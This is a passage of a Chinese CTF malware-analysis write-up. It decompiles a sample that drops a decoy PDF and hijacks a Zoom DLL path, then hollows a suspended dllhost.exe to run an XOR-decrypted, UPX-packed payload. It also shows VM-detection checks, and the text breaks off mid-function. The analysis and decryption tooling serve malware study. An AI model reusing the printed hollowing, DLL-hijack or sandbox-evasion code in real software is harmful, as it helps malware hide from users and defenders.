      if ( (unsigned int)(2 * HIDWORD(v22) + 2) < 0x1000 )
104
        return (HRSRC)sub_10005E9C(p_lpFile_2);
105
      p_lpFile_2 = *(void **)(p_lpFile_1 - 4);
106
      v11 = 2 * HIDWORD(v22) + 37;
107
      if ( (unsigned int)(p_lpFile_1 - (_DWORD)p_lpFile_2 - 4) <= 0x1F )
108
        return (HRSRC)sub_10005E9C(p_lpFile_2);
109
LABEL_18:
110
      sub_1000A8D1(v11, 0, 0, 0, 0, 0);
111
      JUMPOUT(0x10002194);
112
    }
113
  }
114
  return hResInfo;
115
}

展开收起

下文分析函数 sub_10001E70。该函数为一个 Dropper，释放一个 .pdf 文件。

1
// 0x65 = 101 (十进制)
2
hResInfo = FindResourceW(hModule, (LPCWSTR)0x65, L"PDF");
3
hResData = LoadResource(hModule, hResInfo);
4
v5 = LockResource(hResData);  // v5 指向资源数据的指针

函数首先寻找一个 ID 为 101，类型为 PDF 的资源。

1
// CSIDL_MYDOCUMENTS = 5 (我的文档)
2
SHGetFolderPathW(0, 5, 0, 0, pszPath_);

随后，它获取用户的「文档」文件夹路径。

1
// 看起来是在把文件名拼接到路径后面
2
v6 = (__int128 *)sub_10004CD0(aIsctf2025, 22);

对于字符串 aIsctf2025，若我们直接双击进入，发现 IDA Pro 并未正确识别 UTF-8 中文字符串。

IDA Pro 未正确识别 UTF-8 字符串

这里有一个小技巧：确保光标放在 aIsctf2025 上后，在菜单栏中点选 Options > String Literals，在弹出的窗口中点击上面的 Currently 按钮，选择 Encoding 为 UTF-16LE。很有可能我们无法一次选择正确，需要反复尝试，直到 IDA Pro 成功识别。识别成功后，自动生成的变量名可能会发生改变。

在 IDA Pro 中更改字符串的编码

IDA Pro 在识别成功后自动更名

继续函数分析。

1
// C++ 的文件流操作 (std::ofstream)，把资源数据写入磁盘
2
sub_100036F0(v5, v4, 0);
3

4
// ShellExecuteW 用于执行/打开文件
5
// "open" 操作会调用系统默认的 PDF 阅读器打开它
6
ShellExecuteW(0, L"open", lpFile, 0, 0, 1);

这里，函数将内容写入文件并打开。该函数实为障眼法：在用户自认为打开了 .pdf 文件后，该函数写入并打开一个 .pdf 文件，以此欺骗用户该 .pdf 确为用户打开，从而确保其可以在后台继续进行恶意行为。

Function 2「匿身」#

1
HRSRC __usercall sub_10002230@<eax>(int a1@<ebp>)
2
{
3
  HRSRC hResInfo; // eax
4
  HRSRC hResInfo_1; // edi
5
  HGLOBAL hResData; // esi
6
  DWORD v4; // edi
7
  LPVOID v5; // esi
8
  int *n2147483646; // eax
9
  int v7; // edx
10
  int *v8; // eax
11
  _BYTE *v9; // edx
12
  __int128 *p_p_lpFile; // eax
13
  void *p_lpFile_2; // edx
14
  int v12; // ecx
15
  int v13; // [esp-320h] [ebp-32Ch]
16
  int v14; // [esp-31Ch] [ebp-328h]
17
  int v15; // [esp-318h] [ebp-324h]
18
  _BYTE *v16; // [esp-304h] [ebp-310h]
19
  unsigned int n7; // [esp-2F0h] [ebp-2FCh]
20
  _BYTE v18[4]; // [esp-2ECh] [ebp-2F8h]
21
  int v19; // [esp-2E8h] [ebp-2F4h] BYREF
22
  int v20; // [esp-2E4h] [ebp-2F0h] BYREF
23
  void **p_??_7ios_base@std@@6B@; // [esp-280h] [ebp-28Ch] BYREF
24
  __int128 p_lpFile_1; // [esp-238h] [ebp-244h] BYREF
25
  __int64 v23; // [esp-228h] [ebp-234h]
26
  WCHAR pszPath_[264]; // [esp-220h] [ebp-22Ch] BYREF
27
  int *v25; // [esp-10h] [ebp-1Ch]
28
  struct _EXCEPTION_REGISTRATION_RECORD *ExceptionList; // [esp-Ch] [ebp-18h]
29
  void *v27; // [esp-8h] [ebp-14h]
30
  int v28; // [esp-4h] [ebp-10h]
31
  int v29; // [esp+0h] [ebp-Ch]
32
  void *v30; // [esp+4h] [ebp-8h]
33
  int v31; // [esp+8h] [ebp-4h] BYREF
34
  void *retaddr; // [esp+Ch] [ebp+0h]
35

36
  v29 = a1;
37
  v30 = retaddr;
38
  v28 = -1;
39
  v27 = &loc_1001D986;
40
  ExceptionList = NtCurrentTeb()->NtTib.ExceptionList;
41
  v25 = &v31;
42
  hResInfo = FindResourceW(hModule, (LPCWSTR)0x66, L"DLL");
43
  hResInfo_1 = hResInfo;
44
  if ( hResInfo )
45
  {
46
    hResData = LoadResource(hModule, hResInfo);
47
    v4 = SizeofResource(hModule, hResInfo_1);
48
    v5 = LockResource(hResData);
49
    SHGetFolderPathW(0, 42, 0, 0, pszPath_);
50
    n2147483646 = (int *)sub_100028D0(pszPath_);
51
    v28 = 0;
52
    v8 = sub_10004CD0(n2147483646, v7, L"\\ZoomRemoteControl\\bin\\zRCAppCore.dll", 0x25u);
53
    v23 = 0;
54
    p_lpFile_1 = 0;
55
    p_lpFile_1 = *(_OWORD *)v8;
56
    v23 = *((_QWORD *)v8 + 2);
57
    v8[4] = 0;
58
    v8[5] = 7;
59
    *(_WORD *)v8 = 0;
60
    LOBYTE(v28) = 2;
61
    if ( n7 > 7 )
62
    {
63
      v9 = v16;
64
      if ( 2 * n7 + 2 >= 0x1000 )
65
      {
66
        v9 = (_BYTE *)*((_DWORD *)v16 - 1);
67
        if ( (unsigned int)(v16 - v9 - 4) > 0x1F )
68
        {
69
          sub_1000A8D1(2 * n7 + 37, 0, 0, 0, 0, 0);
70
          goto LABEL_15;
71
        }
72
      }
73
      sub_10005E9C(v9);
74
    }
75
    sub_10007A70(&v19, 0, 176);
76
    p_p_lpFile = &p_lpFile_1;
77
    if ( HIDWORD(v23) > 7 )
78
      p_p_lpFile = (__int128 *)p_lpFile_1;
79
    sub_10004160(p_p_lpFile, v13, v14, v15);
80
    *(int *)((char *)&v19 + *(_DWORD *)(v19 + 4)) = (int)&std::ofstream::`vftable';
81
    *(_DWORD *)&v18[*(_DWORD *)(v19 + 4)] = *(_DWORD *)(v19 + 4) - 104;
82
    LOBYTE(v28) = 3;
83
    sub_100036F0(v5, v4, 0);
84
    if ( !sub_10004670(&v20) )
85
      sub_10001D10(
86
        *(int *)((char *)&v19 + *(_DWORD *)(v19 + 4) + 12)
87
      | (4 * (*(int *)((char *)&v19 + *(_DWORD *)(v19 + 4) + 56) == 0) + 2),
88
        0);
89
    *(int *)((char *)&v19 + *(_DWORD *)(v19 + 4)) = (int)&std::ofstream::`vftable';
90
    *(_DWORD *)&v18[*(_DWORD *)(v19 + 4)] = *(_DWORD *)(v19 + 4) - 104;
91
    sub_10003640();
92
    *(int *)((char *)&v19 + *(_DWORD *)(v19 + 4)) = (int)&std::ostream::`vftable';
93
    *(_DWORD *)&v18[*(_DWORD *)(v19 + 4)] = *(_DWORD *)(v19 + 4) - 8;
94
    LOBYTE(v28) = 4;
95
    p_??_7ios_base@std@@6B@ = &std::ios_base::`vftable';
96
    hResInfo = (HRSRC)sub_10005A57(&p_??_7ios_base@std@@6B@);
97
    if ( HIDWORD(v23) > 7 )
98
    {
99
      p_lpFile_2 = (void *)p_lpFile_1;
100
      if ( (unsigned int)(2 * HIDWORD(v23) + 2) < 0x1000 )
101
        return (HRSRC)sub_10005E9C(p_lpFile_2);
102
      p_lpFile_2 = *(void **)(p_lpFile_1 - 4);
103
      v12 = 2 * HIDWORD(v23) + 37;
104
      if ( (unsigned int)(p_lpFile_1 - (_DWORD)p_lpFile_2 - 4) <= 0x1F )
105
        return (HRSRC)sub_10005E9C(p_lpFile_2);
106
LABEL_15:
107
      sub_1000A8D1(v12, 0, 0, 0, 0, 0);
108
      JUMPOUT(0x1000252C);
109
    }
110
  }
111
  return hResInfo;
112
}

展开收起

下文分析函数 sub_10002230。同上者，该函数为一个 Dropper，但释放的是真正的攻击载荷。

1
hResInfo = FindResourceW(hModule, (LPCWSTR)0x66, L"DLL");

函数加载了 ID 为 102，类型为 DLL 的资源。

1
// 42 = CSIDL_PROGRAM_FILESX86 (C:\Program Files (x86))
2
SHGetFolderPathW(0, 42, 0, 0, pszPath_);

随后它获得了 C:\Program Files (x86) 的路径。

1
sub_10004CD0(L"\\ZoomRemoteControl\\bin\\zRCAppCore.dll", 37);

之后，它拼接完整路径，并将恶意 Payload 释放到 C:\Program Files (x86)\ZoomRemoteControl\bin\zRCAppCore.dll 处。该攻击使用了 DLL 劫持：攻击者 payload.dll 通过使 Zoom 在启动时加载恶意库 zRCAppCore.dll，从而借 Zoom 执行恶意代码。后文中，zRCAppCore.dll 将作为我们的分析目标。

Function 3「灵隐」#

1
HRSRC __usercall sub_10002530@<eax>(int a1@<ebp>)
2
{
3
  HRSRC hResInfo; // eax
4
  HRSRC hResInfo_1; // edi
5
  HGLOBAL hResData; // esi
6
  DWORD v4; // edi
7
  LPVOID v5; // esi
8
  __int128 *v6; // eax
9
  _BYTE *v7; // edx
10
  __int128 *p_p_lpFile; // eax
11
  void *p_lpFile_2; // edx
12
  int v10; // ecx
13
  int v11; // [esp-320h] [ebp-32Ch]
14
  int v12; // [esp-31Ch] [ebp-328h]
15
  int v13; // [esp-318h] [ebp-324h]
16
  _BYTE *v14; // [esp-304h] [ebp-310h]
17
  unsigned int n7; // [esp-2F0h] [ebp-2FCh]
18
  _BYTE v16[4]; // [esp-2ECh] [ebp-2F8h]
19
  int v17; // [esp-2E8h] [ebp-2F4h] BYREF
20
  int v18; // [esp-2E4h] [ebp-2F0h] BYREF
21
  void **p_??_7ios_base@std@@6B@; // [esp-280h] [ebp-28Ch] BYREF
22
  __int128 p_lpFile_1; // [esp-238h] [ebp-244h] BYREF
23
  __int64 v21; // [esp-228h] [ebp-234h]
24
  WCHAR pszPath_[264]; // [esp-220h] [ebp-22Ch] BYREF
25
  int *v23; // [esp-10h] [ebp-1Ch]
26
  struct _EXCEPTION_REGISTRATION_RECORD *ExceptionList; // [esp-Ch] [ebp-18h]
27
  void *v25; // [esp-8h] [ebp-14h]
28
  int v26; // [esp-4h] [ebp-10h]
29
  int v27; // [esp+0h] [ebp-Ch]
30
  void *v28; // [esp+4h] [ebp-8h]
31
  int v29; // [esp+8h] [ebp-4h] BYREF
32
  void *retaddr; // [esp+Ch] [ebp+0h]
33

34
  v27 = a1;
35
  v28 = retaddr;
36
  v26 = -1;
37
  v25 = &loc_1001D986;
38
  ExceptionList = NtCurrentTeb()->NtTib.ExceptionList;
39
  v23 = &v29;
40
  hResInfo = FindResourceW(hModule, (LPCWSTR)0x67, L"SC");
41
  hResInfo_1 = hResInfo;
42
  if ( hResInfo )
43
  {
44
    hResData = LoadResource(hModule, hResInfo);
45
    v4 = SizeofResource(hModule, hResInfo_1);
46
    v5 = LockResource(hResData);
47
    SHGetFolderPathW(0, 42, 0, 0, pszPath_);
48
    sub_100028D0(pszPath_);
49
    v26 = 0;
50
    v6 = (__int128 *)sub_10004CD0(L"\\ZoomRemoteControl\\bin\\zRC.dat", 30);
51
    v21 = 0;
52
    p_lpFile_1 = 0;
53
    p_lpFile_1 = *v6;
54
    v21 = *((_QWORD *)v6 + 2);
55
    *((_DWORD *)v6 + 4) = 0;
56
    *((_DWORD *)v6 + 5) = 7;
57
    *(_WORD *)v6 = 0;
58
    LOBYTE(v26) = 2;
59
    if ( n7 > 7 )
60
    {
61
      v7 = v14;
62
      if ( 2 * n7 + 2 >= 0x1000 )
63
      {
64
        v7 = (_BYTE *)*((_DWORD *)v14 - 1);
65
        if ( (unsigned int)(v14 - v7 - 4) > 0x1F )
66
        {
67
          sub_1000A8D1(2 * n7 + 37, 0, 0, 0, 0, 0);
68
          goto LABEL_15;
69
        }
70
      }
71
      sub_10005E9C(v7);
72
    }
73
    sub_10007A70(&v17, 0, 176);
74
    p_p_lpFile = &p_lpFile_1;
75
    if ( HIDWORD(v21) > 7 )
76
      p_p_lpFile = (__int128 *)p_lpFile_1;
77
    sub_10004160(p_p_lpFile, v11, v12, v13);
78
    *(int *)((char *)&v17 + *(_DWORD *)(v17 + 4)) = (int)&std::ofstream::`vftable';
79
    *(_DWORD *)&v16[*(_DWORD *)(v17 + 4)] = *(_DWORD *)(v17 + 4) - 104;
80
    LOBYTE(v26) = 3;
81
    sub_100036F0(v5, v4, 0);
82
    if ( !sub_10004670(&v18) )
83
      sub_10001D10(
84
        *(int *)((char *)&v17 + *(_DWORD *)(v17 + 4) + 12)
85
      | (4 * (*(int *)((char *)&v17 + *(_DWORD *)(v17 + 4) + 56) == 0) + 2),
86
        0);
87
    *(int *)((char *)&v17 + *(_DWORD *)(v17 + 4)) = (int)&std::ofstream::`vftable';
88
    *(_DWORD *)&v16[*(_DWORD *)(v17 + 4)] = *(_DWORD *)(v17 + 4) - 104;
89
    sub_10003640();
90
    *(int *)((char *)&v17 + *(_DWORD *)(v17 + 4)) = (int)&std::ostream::`vftable';
91
    *(_DWORD *)&v16[*(_DWORD *)(v17 + 4)] = *(_DWORD *)(v17 + 4) - 8;
92
    LOBYTE(v26) = 4;
93
    p_??_7ios_base@std@@6B@ = &std::ios_base::`vftable';
94
    hResInfo = (HRSRC)sub_10005A57(&p_??_7ios_base@std@@6B@);
95
    if ( HIDWORD(v21) > 7 )
96
    {
97
      p_lpFile_2 = (void *)p_lpFile_1;
98
      if ( (unsigned int)(2 * HIDWORD(v21) + 2) < 0x1000 )
99
        return (HRSRC)sub_10005E9C(p_lpFile_2);
100
      p_lpFile_2 = *(void **)(p_lpFile_1 - 4);
101
      v10 = 2 * HIDWORD(v21) + 37;
102
      if ( (unsigned int)(p_lpFile_1 - (_DWORD)p_lpFile_2 - 4) <= 0x1F )
103
        return (HRSRC)sub_10005E9C(p_lpFile_2);
104
LABEL_15:
105
      sub_1000A8D1(v10, 0, 0, 0, 0, 0);
106
      JUMPOUT(0x1000282C);
107
    }
108
  }
109
  return hResInfo;
110
}

展开收起

下文分析函数 sub_10002530。

1
// 0x67 = 103 (十进制)
2
hResInfo = FindResourceW(hModule, (LPCWSTR)0x67, L"SC");

该函数读取一个 ID 为 103 的 SC 类型资源。

1
sub_10004CD0(L"\\ZoomRemoteControl\\bin\\zRC.dat", 30);

随后将其释放到 C:\Program Files (x86)\ZoomRemoteControl\bin\zRC.dat 中。考虑到后缀名为 .dat，我们认为它可能是加密的数据或二进制代码。

使用 Resource Hacker 提取文件#

根据前文，我们在 Resource Hacker 中加载 payload.dll，并从中提取出我们所需的两个文件，其一为 DLL 中 ID 为 102 的 zRCAppCore.dll，另一为 SC 中 ID 为 103 的 zRC.dat。

例如，提取 zRCAppCore.dll 时，我们在 Resource Hacker 的左侧列表中右键 DLL 下的 102 : 2052，并点击 “Save .bin resource…” 以将目标文件提取并保存到工作目录下。

在 Resource Hacker 中提取 zRCAppCore.dll

分析 `zRCAppCore.dll`#

提取结束后，我们在 IDA Pro 中打开 zRCAppCore.dll，从入口点函数 DllEntryPoint 展开分析。

1
BOOL __stdcall DllEntryPoint(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)
2
{
3
    if ( fdwReason == 1 )
4
        sub_100018BE();
5
    return sub_100015F2(hinstDLL, fdwReason, lpReserved);
6
}

其中 sub_100018BE() 是 Stack Canary，故我们继续分析 sub_100015F2。

1
int __cdecl sub_100015F2(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)
2
{
3
    void *lpReserved_1; // ebx
4
    int v5; // esi
5
    int v6; // eax
6

7
    if ( !fdwReason && dword_1001B908 <= 0 )
8
        return 0;
9
    if ( fdwReason != 1 && fdwReason != 2 )
10
    {
11
        lpReserved_1 = lpReserved;
12
LABEL_9:
13
        v6 = sub_100013B0(hinstDLL, fdwReason, lpReserved_1);
14
        v5 = v6;
15
        if ( fdwReason == 1 && !v6 )
16
        {
17
            sub_100013B0(hinstDLL, 0, lpReserved_1);
18
            sub_1000153B(lpReserved_1 != 0);
19
            sub_10001700(hinstDLL, 0, lpReserved_1);
20
        }
21
        if ( !fdwReason || fdwReason == 3 )
22
        {
23
            v5 = sub_100013DE(hinstDLL, fdwReason, lpReserved_1);
24
        if ( v5 )
25
            return sub_10001700(hinstDLL, fdwReason, lpReserved_1);
26
        }
27
        return v5;
28
    }
29
    lpReserved_1 = lpReserved;
30
    v5 = sub_10001700(hinstDLL, fdwReason, lpReserved);
31
    if ( v5 )
32
    {
33
        v5 = sub_100013DE(hinstDLL, fdwReason, lpReserved);
34
        if ( v5 )
35
          goto LABEL_9;
36
    }
37
    return v5;
38
}

展开收起

分析可得 LABEL_9 处调起的 sub_100013B0 为该 .dll 文件的主要业务逻辑函数，故我们继续分析该函数。

1
int __stdcall sub_100013B0(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)
2
{
3
    if ( fdwReason == 1 )
4
    {
5
        sub_10001050();
6
        ExitProcess(0);
7
    }
8
    return 1;
9
}

继续跟踪 sub_10001050。简要分析后可知，该函数是一段典型的进程空心化 / 傀儡进程（Process Hollowing）恶意代码，这是一种注入技术，用来在合法进程的掩护下执行恶意代码。下面对该函数的行为进行剖析：

1
BOOL sub_10001050()
2
{
3
  HMODULE hModule; // eax
4
  _BYTE *v1; // eax
5
  HANDLE hFile; // esi
6
  _DWORD *lpBuffer; // edi
7
  SIZE_T nNumberOfBytesToRead_1; // esi
8
  char *v5; // esi
9
  HMODULE hModule_1; // eax
10
  FARPROC NtUnmapViewOfSection; // eax
11
  LPVOID *v8; // edx
12
  void *lpBaseAddress; // eax
13
  int v10; // esi
14
  SIZE_T nSize; // [esp-8h] [ebp-688h]
15
  SIZE_T nNumberOfBytesToRead; // [esp+8h] [ebp-678h]
16
  signed int nNumberOfBytesToReada; // [esp+8h] [ebp-678h]
17
  char *v15; // [esp+Ch] [ebp-674h]
18
  _PROCESS_INFORMATION ProcessInformation; // [esp+10h] [ebp-670h] BYREF
19
  int Buffer; // [esp+2Ch] [ebp-654h] BYREF
20
  CONTEXT Context; // [esp+30h] [ebp-650h] BYREF
21
  DWORD NumberOfBytesRead; // [esp+304h] [ebp-37Ch] BYREF
22
  _STARTUPINFOA StartupInfo; // [esp+308h] [ebp-378h] BYREF
23
  _DWORD zRC.dat_[3]; // [esp+354h] [ebp-32Ch] BYREF
24
  CHAR Filename[264]; // [esp+360h] [ebp-320h] BYREF
25
  char v23[264]; // [esp+468h] [ebp-218h] BYREF
26
  CHAR FileName[268]; // [esp+570h] [ebp-110h] BYREF
27

28
  Context.ContextFlags = 65543;
29
  memset(&StartupInfo.lpReserved, 0, 40);
30
  ProcessInformation = 0;
31
  StartupInfo.cb = 68;
32
  StartupInfo.dwFlags = 1;
33
  memset(&StartupInfo.wShowWindow, 0, 20);
34
  hModule = GetModuleHandleW(L"zRCAppCore.dll");
35
  if ( GetModuleFileNameA(hModule, Filename, 0x104u) )
36
  {
37
    v1 = (_BYTE *)sub_10002120(Filename, 92);
38
    if ( v1 )
39
    {
40
      *v1 = 0;
41
      sub_10006410(v23, 260, Filename);
42
      strcpy((char *)zRC.dat_, "zRC.dat");
43
      sub_10001010(FileName, 260, "%s\\%s", v23, (const char *)zRC.dat_);
44
    }
45
  }
46
  CreateProcessA(0, (LPSTR)"C:\\Windows\\System32\\dllhost.exe", 0, 0, 0, 4u, 0, 0, &StartupInfo, &ProcessInformation);
47
  hFile = CreateFileA(FileName, 0x80000000, 1u, 0, 3u, 0, 0);
48
  nNumberOfBytesToRead = GetFileSize(hFile, 0);
49
  lpBuffer = VirtualAlloc(0, nNumberOfBytesToRead, 0x3000u, 4u);
50
  ReadFile(hFile, lpBuffer, nNumberOfBytesToRead, &NumberOfBytesRead, 0);
51
  CloseHandle(hFile);
52
  nNumberOfBytesToRead_1 = 0;
53
  strcpy((char *)zRC.dat_, "tf7*TV&8un");
54
  if ( nNumberOfBytesToRead )
55
  {
56
    do
57
    {
58
      *((_BYTE *)lpBuffer + nNumberOfBytesToRead_1) ^= *((_BYTE *)zRC.dat_ + nNumberOfBytesToRead_1 % 9);
59
      ++nNumberOfBytesToRead_1;
60
    }
61
    while ( nNumberOfBytesToRead_1 < nNumberOfBytesToRead );
62
  }
63
  v5 = (char *)lpBuffer + lpBuffer[15];
64
  v15 = v5;
65
  GetThreadContext(ProcessInformation.hThread, &Context);
66
  ReadProcessMemory(ProcessInformation.hProcess, (LPCVOID)(Context.Ebx + 8), &Buffer, 4u, 0);
67
  hModule_1 = GetModuleHandleA("ntdll.dll");
68
  NtUnmapViewOfSection = GetProcAddress(hModule_1, "NtUnmapViewOfSection");
69
  v8 = (LPVOID *)(v5 + 52);
70
  if ( Buffer == *((_DWORD *)v5 + 13) )
71
  {
72
    ((void (__stdcall *)(HANDLE, int))NtUnmapViewOfSection)(ProcessInformation.hProcess, Buffer);
73
    v8 = (LPVOID *)(v5 + 52);
74
  }
75
  lpBaseAddress = VirtualAllocEx(ProcessInformation.hProcess, *v8, *((_DWORD *)v5 + 20), 0x3000u, 0x40u);
76
  nSize = *((_DWORD *)v5 + 21);
77
  zRC.dat_[0] = lpBaseAddress;
78
  WriteProcessMemory(ProcessInformation.hProcess, lpBaseAddress, lpBuffer, nSize, 0);
79
  nNumberOfBytesToReada = 0;
80
  if ( *((_WORD *)v5 + 3) )
81
  {
82
    v10 = 0;
83
    do
84
    {
85
      WriteProcessMemory(
86
        ProcessInformation.hProcess,
87
        (LPVOID)(zRC.dat_[0] + *(_DWORD *)((char *)&lpBuffer[v10 + 65] + lpBuffer[15])),
88
        (char *)lpBuffer + *(_DWORD *)((char *)&lpBuffer[v10 + 67] + lpBuffer[15]),
89
        *(_DWORD *)((char *)&lpBuffer[v10 + 66] + lpBuffer[15]),
90
        0);
91
      v10 += 10;
92
      ++nNumberOfBytesToReada;
93
    }
94
    while ( nNumberOfBytesToReada < *((unsigned __int16 *)v15 + 3) );
95
    v5 = v15;
96
  }
97
  Context.Eax = zRC.dat_[0] + *((_DWORD *)v5 + 10);
98
  WriteProcessMemory(ProcessInformation.hProcess, (LPVOID)(Context.Ebx + 8), v5 + 52, 4u, 0);
99
  SetThreadContext(ProcessInformation.hThread, &Context);
100
  ResumeThread(ProcessInformation.hThread);
101
  CloseHandle(ProcessInformation.hThread);
102
  return CloseHandle(ProcessInformation.hProcess);
103
}

展开收起

1
GetModuleFileNameA(hModule, Filename, 0x104u); // 获取当前 DLL 路径
2
// ... 字符串处理 ...
3
strcpy((char *)zRC.dat_, "zRC.dat"); // 明文字符串
4
sub_10001010(FileName, 260, "%s\\%s", v23, (const char *)zRC.dat_); // 拼接成 zRC.dat 的完整路径

首先，函数构造了 zRC.dat 的路径。

1
CreateProcessA(0, (LPSTR)"C:\\Windows\\System32\\dllhost.exe", ..., 4u, ...);

其次，函数启动了一个合法系统进程 dllhost.exe，但以参数 4u 即 CREATE_SUSPENDED，即，启动后，线程挂起。

1
hFile = CreateFileA(FileName, ...);
2
// ... 读取文件到 lpBuffer ...
3

4
strcpy((char *)zRC.dat_, "tf7*TV&8un"); // 密钥
5
if ( nNumberOfBytesToRead )
6
{
7
    do
8
    {
9
        // 异或运算 (XOR)
10
        *((_BYTE *)lpBuffer + nNumberOfBytesToRead_1) ^= *((_BYTE *)zRC.dat_ + nNumberOfBytesToRead_1 % 9);
11
        ++nNumberOfBytesToRead_1;
12
    }
13
    while ( ... );
14
}

随后，函数读取并解密 Payload。这里，函数使用了循环异或运算，以字符串 tf7*TV&8un 的前 9 个字符（考虑到 % 9）作为密钥。

1
NtUnmapViewOfSection(...); // 挖空原进程内存
2
VirtualAllocEx(...);       // 在原进程申请新内存
3
WriteProcessMemory(...);   // 把解密后的 Payload 写入傀儡进程
4
SetThreadContext(...);     // 修改线程上下文 (EIP/RIP) 指向 Payload 入口
5
ResumeThread(...);         // 恢复线程，傀儡复活

最后，函数卸载目标进程的原始映像，分配新内存，修复重定位和入口点，并最终恢复 dllhost.exe 的执行。这样，恶意代码在 dllhost.exe 内部执行，但其外观上是合法的 Windows 进程，恶意代码以此做到隐蔽。

解密 `zRC.dat`#

基于上文的分析，我们使用同样的异或算法解密 zRC.dat 即可。这里给出一份可用的 Python 代码。解密后可得，解密得到的 zRC_decrypted.bin 确为 PE 文件。

1
def decrypt_payload():
2
    try:
3
        with open("zRC.dat", "rb") as f:
4
            data = bytearray(f.read())
5
    except FileNotFoundError:
6
        print("错误：找不到 zRC.dat 文件，请确认文件路径。")
7
        return
8

9
    # 密钥字符串
10
    key_str = "tf7*TV&8un"
11
    # 根据 IDA 代码：nNumberOfBytesToRead_1 % 9
12
    # 意味着循环使用密钥的前 9 个字节
13
    key_len = 9
14

15
    print(f"[*] 开始解密，文件大小: {len(data)} 字节")
16
    print(f"[*] 使用密钥: {key_str[:key_len]}")
17

18
    for i in range(len(data)):
19
        # 异或操作
20
        data[i] ^= ord(key_str[i % key_len])
21

22
    # 保存解密后的文件
23
    output_filename = "zRC_decrypted.bin" # 既然注入到 dllhost.exe，大概率是个 EXE
24
    with open(output_filename, "wb") as f:
25
        f.write(data)
26

27
    print(f"[+] 解密完成！已保存为: {output_filename}")
28

29
    # 简单检查一下文件头
30
    if data[:2] == b'MZ':
31
        print("[+] 文件头检测: MZ (这是一个 PE 文件)")
32
    else:
33
        print(f"[-] 文件头检测: {data[:2]} (可能不是 PE 文件，或者是 Shellcode)")
34

35
if __name__ == "__main__":
36
    decrypt_payload()

展开收起

Stage III「升」#

脱壳 `zRC_decrypted.bin`#

使用 Detect It Easy 打开 zRC_decrypted.bin，发现其使用了 UPX 加壳。

使用 Detect It Easy 发现 UPX 加壳

该壳未经过修改，因此直接使用 UPX 脱壳即可。

1
PS S:\ISCTF_2025\Virus_Analysis\ISCTF> D:\upx-5.0.2-win64\upx.exe -d .\zRC_decrypted.bin
2
                       Ultimate Packer for eXecutables
3
                          Copyright (C) 1996 - 2025
4
UPX 5.0.2       Markus Oberhumer, Laszlo Molnar & John Reiser   Jul 20th 2025
5

6
        File size         Ratio      Format      Name
7
   --------------------   ------   -----------   -----------
8
    173056 <-     80384   46.45%    win32/pe     zRC_decrypted.bin
9

10
Unpacked 1 file.

寻找主函数和网络相关函数#

从 start 函数开始，尝试查找主函数。

1
int start()
2
{
3
  sub_406FB2();
4
  return sub_4067E7();
5
}

其中 sub_406FB2 仍然为 Stack Canary 代码。继续分析 sub_4067E7。

1
int __usercall sub_4067E7@<eax>(UINT uExitCode_1@<esi>)
2
{
3
  char v1; // bl
4
  _DWORD *v3; // eax
5
  _DWORD *v4; // esi
6
  _DWORD *v5; // eax
7
  _DWORD *v6; // esi
8
  int v7; // edi
9
  int v8; // esi
10
  _DWORD *v9; // eax
11
  char v10; // [esp+10h] [ebp-24h]
12
  UINT uExitCode; // [esp+14h] [ebp-20h]
13

14
  if ( !(unsigned __int8)sub_406509(1) || (v1 = 0, v10 = sub_4064D7(), n2 == 1) )
15
  {
16
    sub_406D55(7);
17
    goto LABEL_19;
18
  }
19
  if ( n2 )
20
  {
21
    v1 = 1;
22
  }
23
  else
24
  {
25
    n2 = 1;
26
    if ( sub_40DDE1(&unk_41C1E0, &unk_41C200) )
27
      return 255;
28
    sub_40DDB6(&unk_41C1BC, &unk_41C1DC);
29
    n2 = 2;
30
  }
31
  sub_406660(v10);
32
  v3 = (_DWORD *)sub_407062();
33
  v4 = v3;
34
  if ( *v3 && (unsigned __int8)sub_4065C9(v3) )
35
    ((void (__thiscall *)(_DWORD, _DWORD, int, _DWORD))*v4)(*v4, 0, 2, 0);
36
  v5 = (_DWORD *)sub_407068();
37
  v6 = v5;
38
  if ( *v5 && (unsigned __int8)sub_4065C9(v5) )
39
    sub_40D266(*v6);
40
  v7 = sub_40D854();
41
  v8 = *(_DWORD *)sub_40DE6B();
42
  v9 = (_DWORD *)sub_40DE65();
43
  uExitCode_1 = sub_402B60(*v9, v8, v7);
44
  if ( !(unsigned __int8)sub_406E6F() )
45
  {
46
LABEL_19:
47
    sub_40D28C(uExitCode_1);
48
    sub_40D250(uExitCode);
49
    __debugbreak();
50
  }
51
  if ( !v1 )
52
    sub_40D241();
53
  sub_40667D(1, 0);
54
  return uExitCode_1;
55
}

展开收起

注意到最终返回的 uExitCode_1 由

1
uExitCode_1 = sub_402B60(*v9, v8, v7);

产生，我们断言 sub_402B60 为主函数，它在最后调用了 sub_402450 进行进一步操作。下面进行分析。

1
int sub_402B60()
2
{
3
  int v6; // eax
4
  ULONGLONG TickCount64; // kr00_8
5
  ULONGLONG v8; // rax
6
  bool v9; // cf
7
  ULONGLONG n0x1388; // rax
8
  SHELLEXECUTEINFOW SystemInfo; // [esp+24h] [ebp-6CCh] BYREF
9
  SHELLEXECUTEINFOW pExecInfo; // [esp+60h] [ebp-690h] BYREF
10
  HKEY phkResult; // [esp+9Ch] [ebp-654h] BYREF
11
  _MEMORYSTATUSEX Buffer; // [esp+A0h] [ebp-650h] BYREF
12
  DWORD cbData[3]; // [esp+E8h] [ebp-608h] BYREF
13
  char v18; // [esp+F4h] [ebp-5FCh]
14
  WCHAR Data[260]; // [esp+F8h] [ebp-5F8h] BYREF
15
  _OWORD v20[4]; // [esp+300h] [ebp-3F0h] BYREF
16
  __int16 v21; // [esp+340h] [ebp-3B0h]
17
  _BYTE v22[938]; // [esp+342h] [ebp-3AEh] BYREF
18

19
  _EAX = 0;
20
  __asm { cpuid }
21
  cbData[0] = _EBX;
22
  cbData[1] = _EDX;
23
  cbData[2] = _ECX;
24
  v18 = 0;
25
  if ( sub_407730(cbData, "VMware")
26
    || sub_407730(cbData, "VBox")
27
    || sub_407730(cbData, "KVM")
28
    || sub_407730(cbData, "Microsoft Hv")
29
    || sub_407730(cbData, "Xen") )
30
  {
31
    return 0;
32
  }
33
  cbData[0] = 256;
34
  if ( !RegOpenKeyExA(HKEY_LOCAL_MACHINE, "HARDWARE\\DESCRIPTION\\System\\BIOS", 0, 0x20019u, &phkResult) )
35
  {
36
    if ( !RegQueryValueExA(phkResult, "SystemProductName", 0, 0, (LPBYTE)Data, cbData)
37
      && (sub_407730(Data, "Virtual")
38
